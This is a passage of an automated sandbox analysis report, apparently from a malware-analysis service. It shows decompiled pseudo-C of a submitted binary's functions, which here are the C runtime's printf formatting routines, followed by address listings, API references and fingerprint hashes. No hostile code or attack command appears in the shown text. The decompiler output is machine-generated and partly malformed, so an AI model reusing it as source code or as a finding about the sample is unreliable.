																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xab8ad97d
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x2b8ac62f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x2b8ac616
																							E00424750(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004283F0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428430(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
																			if(E00433FA0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043502b
0x0043502b
0x0043502b
0x0043502b
0x0043502b
0x0043502b
0x0043502b
0x0043502b
0x00000000
0x0043509a
0x00000000
0x0043509a
0x00000000
0x0043509a
0x0043509a
0x004350a2
0x004350c4
0x004350ca
0x004350ef
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435176
0x004351b8
0x004351be
0x004351ca
0x00000000
0x00435178
0x00435178
0x00435178
0x0043517f
0x00000000
0x0043518c
0x0043518c
0x0043519a
0x0043519f
0x004351a5
0x004351b3
0x004351d0
0x004351d8
0x004351fa
0x004351fa
0x00435204
0x00435215
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x00435234
0x00435236
0x00435236
0x00435240
0x00435243
0x00435243
0x00435249
0x0043524c
0x00435251
0x00000000
0x00000000
0x00435261
0x00435264
0x0043526e
0x0043527d
0x00435286
0x0043529c
0x004352a2
0x004352af
0x004352bd
0x004352bd
0x004352cc
0x004352d4
0x004352d4
0x004352dc
0x004352e2
0x004352eb
0x004352f7
0x00435310
0x00435316
0x0043531f
0x0043531f
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00435322
0x00435322
0x00435326
0x0043550d
0x00435511
0x00435519
0x0043551e
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x00434911
0x0043493b
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434926
0x00434928
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x0043496a
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aae
0x00434ab2
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a55
0x00000000
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a24
0x00000000
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e9
0x00434a01
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x00435534
0x0043554b
0x0043553f
0x0043553f
0x0043553f
0x00435555
0x0043555b
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435588
0x0043558a
0x0043558a
0x00435588
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x0043532c
0x00435332
0x0043533c
0x00435351
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x0043537c
0x00435388
0x0043539e
0x004353a3
0x004353a3
0x004353b9
0x004353be
0x004353c7
0x004353e5
0x004353ea
0x004353ea
0x004353f1
0x004354c5
0x004354d8
0x004354dd
0x00000000
0x00435401
0x00435401
0x00435401
0x0043540e
0x00435417
0x0043541d
0x0043541d
0x0043542c
0x00435434
0x00000000
0x00000000
0x0043543a
0x00435443
0x00435462
0x00435467
0x0043546a
0x00435479
0x00435486
0x00435491
0x00435491
0x00000000
0x0043549d
0x0043549d
0x004354b6
0x004354bb
0x00000000
0x004354bb
0x00435486
0x004354c3
0x004354e0
0x004354e7
0x00435505
0x0043550a
0x0043550a
0x00000000
0x004354e7
0x00434ade
0x00434ade
0x00434ae5
0x00434aeb
0x00434af1
0x00434af4
0x00434afa
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b24
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c63
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434bea
0x00434c06
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434ea2
0x00434ead
0x00434eb1
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f85
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434fad
0x00434fb7
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434fee
0x00434ff3
0x00434ff9
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00000000
0x00435011
0x00434eb3
0x00434eb3
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00000000
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d90
0x00434e3a
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00000000
0x00434e62
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434ded
0x00434e35
0x00000000
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x0043507c
0x0043507c
0x00435086
0x0043508c
0x00435091
0x00435097
0x00435097
0x00000000
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434cb0
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00000000
0x00434d72
0x00000000
0x00000000
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x00435061
0x00435063
0x0043506d
0x00435070
0x00435073
0x00435073
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b14
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x0043517f
0x00435176
0x0043509a
0x0043509a
0x0043509a

APIs

_get_int64_arg.LIBCMTD ref: 004350A8
_get_int64_arg.LIBCMTD ref: 004350D0
__aullrem.LIBCMT ref: 00435275
__aulldiv.LIBCMT ref: 00435297

Strings

9, xrefs: 004352A8

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: d2c8d1a10b175cbde13796d1308b09b671e5f9446ec5e915b9e3df1a8e339e3a
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 1C41D471D06629DFDF24CF58C889BAEB7B5BB48304F2495DAD409A7240D7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C43D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C43D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E004283F0(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E004283F0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E004283F0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E004283F0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428410(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
